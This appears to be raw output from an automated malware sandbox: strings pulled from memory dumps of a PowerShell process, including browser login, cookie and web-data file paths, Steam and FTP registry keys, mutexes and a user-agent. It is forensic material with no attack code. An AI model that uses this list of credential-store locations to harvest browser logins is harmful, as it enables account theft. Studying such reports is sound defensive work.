00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "L_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Network\Cookies" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\..\Application\opera.exe" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\Classic .NET AppPool\AppData\Roaming\Opera Software\Opera Stable\Local State" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Web Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default\Login Data For Account" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Network\Cookies" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Network\Cookies" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Login Data For Account" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data For Account" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Login Data For Account" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data For Account" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Network\Cookies" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\AVAST Software\Browser\User Data\Default\Login Data For Account" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default\Login Data For Account" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\Local\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "\Local\Opera Software\Opera Neon\User Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\AVAST Software\Browser\User Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\Registry\Machine\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "\Local\INSoftware\NovaFTP" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Valve\Steam" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable\Default\Web Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Web Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\AVAST Software\Browser\User Data\Default\Web Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default\Login Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Web Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Web Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\AVAST Software\Browser\User Data\Default\Web Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default\Web Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable\Default" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable\" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-735145574-3570218355-1207367261-1001" in Source: 00000000-00002344.00000001.147976.09777000.00000004.mdmp 00000000-00002344.00000002.149897.09777000.00000004.mdmp 00000000-00002344.00000003.153126.09777000.00000004.mdmp "\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002344.00000001.147976.09777000.00000004.mdmp 00000000-00002344.00000002.149897.09777000.00000004.mdmp 00000000-00002344.00000003.153126.09777000.00000004.mdmp3c:T8e5,Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:796:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:796:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:796:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:796:120:WilError_01" Process powershell.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex" Process powershell.exe created mutex with name "Local\SM0:796:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:796:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:796:120:WilError_01" Process powershell.exe created mutex with name "SM0:796:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2344:168:WilStaging_02" Process powershell.exe created mutex with name "Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "SM0:2344:168:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:2344:168:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:2344:64:WilError_01" Process powershell.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "SM0:2344:64:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:2344:168:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:2344:64:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2344:64:WilError_01" Process powershell.exe created mutex with name "\BaseNamedObjects\CBPJEDNHAI" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4816:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4816:120:WilError_01"3d:T17ff,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135]3e:T423,Found string "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" (Indicator: "mozilla/5.0 ("; Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp, 00000000-00002344.00000002.149897.076F0000.00000004.mdmp, 00000000-00002344.00000003.153126.076F0000.00000004.mdmp") Found string "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" (Indicator: "mozilla/5.0 ("; Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp, 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found string "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" (Indicator: "user-agent: "; Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp, 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp")3f:Tb050,"o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002344.00000000.146055.00640000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002344.00000000.146055.00640000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00002344.00000000.146055.00DF1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00002344.00000000.146055.00DF1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00002344.00000000.146055.00DF1000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00002344.00000000.146055.00DF1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00002344.00000000.146055.00DF1000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00002344.00000000.146055.00DF1000.00000020.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "\Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00002344.00000001.147976.00640000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002344.00000001.147976.00640000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002344.00000001.147976.00640000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default\Network\Cookies" in Source: 00000000-00002344.00000001.147976.00640000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable\Default\Network\Cookies" in Source: 00000000-00002344.00000001.147976.00640000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Web Data" in Source: 00000000-00002344.00000001.147976.00640000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp "\Local\AVAST Software\Browser\User Data" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp "\Roaming\Opera Software\Opera Stable" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp "\Roaming\Opera Software\Opera GX Stable" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default\Login Data For Account" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\AVAST Software\Browser\User Data\Default\Login Data For Account" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Network\Cookies" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp "??\C:\Users\Default User\AppData\Local\INSoftware\NovaFTP" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp "??\C:\Users\.NET v4.5\AppData\Local\BraveSoftware\Brave-Browser\User Data\Local State" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default\Web Data" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "L_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Network\Cookies" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\..\Application\opera.exe" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\??\C:\Users\Classic .NET AppPool\AppData\Roaming\Opera Software\Opera Stable\Local State" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Web Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default\Login Data For Account" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Network\Cookies" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Network\Cookies" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Login Data For Account" in Source: 